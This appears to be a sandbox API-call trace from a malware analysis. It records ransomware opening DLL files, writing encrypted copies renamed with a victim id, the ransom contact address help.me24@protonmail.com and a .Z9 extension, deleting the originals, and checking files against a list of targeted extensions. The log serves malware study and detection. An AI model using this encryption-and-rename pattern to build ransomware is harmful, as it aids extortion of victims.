	[0084.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.673] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.673] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.673] GetLastError () returned 0x0
	[0084.673] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0084.675] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0084.676] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.676] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x112, lpOverlapped=0x0) returned 1
	[0084.676] SetEndOfFile (hFile=0x364) returned 1
	[0084.677] CloseHandle (hObject=0x364) returned 1
	[0084.678] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.678] SetEndOfFile (hFile=0x374) returned 1
	[0084.679] CloseHandle (hObject=0x374) returned 1
	[0084.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.679] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1
	[0084.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.679] lstrlenW (lpString=".doc") returned 4
	[0084.679] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.679] lstrlenW (lpString=".docx") returned 5
	[0084.680] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.680] lstrlenW (lpString=".pdf") returned 4
	[0084.680] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.680] lstrlenW (lpString=".xls") returned 4
	[0084.680] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.680] lstrlenW (lpString=".xlsx") returned 5
	[0084.680] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.680] lstrlenW (lpString=".ppt") returned 4
	[0084.680] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.680] lstrlenW (lpString=".zip") returned 4
	[0084.680] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.680] lstrlenW (lpString=".rar") returned 4
	[0084.680] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.680] lstrlenW (lpString=".bz2") returned 4
	[0084.680] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.680] lstrlenW (lpString=".7z") returned 3
	[0084.680] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.680] lstrlenW (lpString=".dbf") returned 4
	[0084.680] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.680] lstrlenW (lpString=".1cd") returned 4
	[0084.680] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.680] lstrlenW (lpString=".jpg") returned 4
	[0084.680] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.680] lstrlenW (lpString=".doc") returned 4
	[0084.680] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.680] lstrlenW (lpString=".docx") returned 5
	[0084.680] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.681] lstrlenW (lpString=".pdf") returned 4
	[0084.681] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.681] lstrlenW (lpString=".xls") returned 4
	[0084.681] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.681] lstrlenW (lpString=".xlsx") returned 5
	[0084.681] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.681] lstrlenW (lpString=".ppt") returned 4
	[0084.681] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.681] lstrlenW (lpString=".zip") returned 4
	[0084.681] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.681] lstrlenW (lpString=".rar") returned 4
	[0084.681] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.681] lstrlenW (lpString=".bz2") returned 4
	[0084.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.681] lstrlenW (lpString=".7z") returned 3
	[0084.681] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.681] lstrlenW (lpString=".dbf") returned 4
	[0084.681] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.681] lstrlenW (lpString=".1cd") returned 4
	[0084.681] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.681] lstrlenW (lpString=".jpg") returned 4
	[0084.681] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.681] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.681] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33
	[0084.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.682] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=22720) returned 1
	[0084.682] CloseHandle (hObject=0x374) returned 1
	[0084.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20
	[0084.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.683] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.684] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.684] GetLastError () returned 0x0
	[0084.684] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x58c0, lpOverlapped=0x0) returned 1
	[0084.686] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x58d0, lpOverlapped=0x0) returned 1
	[0084.687] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.687] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x116, lpOverlapped=0x0) returned 1
	[0084.687] SetEndOfFile (hFile=0x364) returned 1
	[0084.687] CloseHandle (hObject=0x364) returned 1
	[0084.688] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.689] SetEndOfFile (hFile=0x374) returned 1
	[0084.689] CloseHandle (hObject=0x374) returned 1
	[0084.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.690] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1
	[0084.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.690] lstrlenW (lpString=".doc") returned 4
	[0084.690] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.690] lstrlenW (lpString=".docx") returned 5
	[0084.690] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.690] lstrlenW (lpString=".pdf") returned 4
	[0084.690] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.690] lstrlenW (lpString=".xls") returned 4
	[0084.690] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.690] lstrlenW (lpString=".xlsx") returned 5
	[0084.690] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.690] lstrlenW (lpString=".ppt") returned 4
	[0084.690] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.690] lstrlenW (lpString=".zip") returned 4
	[0084.690] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.690] lstrlenW (lpString=".rar") returned 4
	[0084.691] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.691] lstrlenW (lpString=".bz2") returned 4
	[0084.691] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.691] lstrlenW (lpString=".7z") returned 3
	[0084.691] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.691] lstrlenW (lpString=".dbf") returned 4
	[0084.691] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.691] lstrlenW (lpString=".1cd") returned 4
	[0084.691] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.691] lstrlenW (lpString=".jpg") returned 4
	[0084.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.691] lstrlenW (lpString=".doc") returned 4
	[0084.691] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.691] lstrlenW (lpString=".docx") returned 5
	[0084.691] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.691] lstrlenW (lpString=".pdf") returned 4
	[0084.691] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.691] lstrlenW (lpString=".xls") returned 4
	[0084.691] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.691] lstrlenW (lpString=".xlsx") returned 5
	[0084.691] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.691] lstrlenW (lpString=".ppt") returned 4
	[0084.691] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.691] lstrlenW (lpString=".zip") returned 4
	[0084.691] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.691] lstrlenW (lpString=".rar") returned 4
	[0084.691] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.691] lstrlenW (lpString=".bz2") returned 4
	[0084.692] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.692] lstrlenW (lpString=".7z") returned 3
	[0084.692] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.692] lstrlenW (lpString=".dbf") returned 4
	[0084.692] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.692] lstrlenW (lpString=".1cd") returned 4
	[0084.692] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.692] lstrlenW (lpString=".jpg") returned 4
	[0084.692] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.692] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.692] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37
	[0084.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.693] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19136) returned 1
	[0084.693] CloseHandle (hObject=0x374) returned 1
	[0084.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20
	[0084.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0084.693] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.693] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.694] GetLastError () returned 0x0
	[0084.694] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0084.696] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0084.697] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.697] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0084.697] SetEndOfFile (hFile=0x364) returned 1
	[0084.697] CloseHandle (hObject=0x364) returned 1
	[0084.699] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.699] SetEndOfFile (hFile=0x374) returned 1
	[0084.699] CloseHandle (hObject=0x374) returned 1
	[0084.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.700] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1
	[0084.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.700] lstrlenW (lpString=".doc") returned 4
	[0084.700] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.700] lstrlenW (lpString=".docx") returned 5
	[0084.700] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.700] lstrlenW (lpString=".pdf") returned 4
	[0084.700] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.700] lstrlenW (lpString=".xls") returned 4
	[0084.700] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.700] lstrlenW (lpString=".xlsx") returned 5
	[0084.700] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.701] lstrlenW (lpString=".ppt") returned 4
	[0084.701] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.701] lstrlenW (lpString=".zip") returned 4
	[0084.701] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.701] lstrlenW (lpString=".rar") returned 4
	[0084.701] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.701] lstrlenW (lpString=".bz2") returned 4
	[0084.701] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.701] lstrlenW (lpString=".7z") returned 3
	[0084.701] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.701] lstrlenW (lpString=".dbf") returned 4
	[0084.701] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.701] lstrlenW (lpString=".1cd") returned 4
	[0084.701] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.701] lstrlenW (lpString=".jpg") returned 4
	[0084.701] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.701] lstrlenW (lpString=".doc") returned 4
	[0084.701] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.701] lstrlenW (lpString=".docx") returned 5
	[0084.701] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.701] lstrlenW (lpString=".pdf") returned 4
	[0084.701] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.701] lstrlenW (lpString=".xls") returned 4
	[0084.701] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.701] lstrlenW (lpString=".xlsx") returned 5
	[0084.701] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.701] lstrlenW (lpString=".ppt") returned 4
	[0084.701] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.702] lstrlenW (lpString=".zip") returned 4
	[0084.702] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.702] lstrlenW (lpString=".rar") returned 4
	[0084.702] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.702] lstrlenW (lpString=".bz2") returned 4
	[0084.702] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.702] lstrlenW (lpString=".7z") returned 3
	[0084.702] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.702] lstrlenW (lpString=".dbf") returned 4
	[0084.702] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.702] lstrlenW (lpString=".1cd") returned 4
	[0084.702] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.702] lstrlenW (lpString=".jpg") returned 4
	[0084.702] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.702] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.702] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36
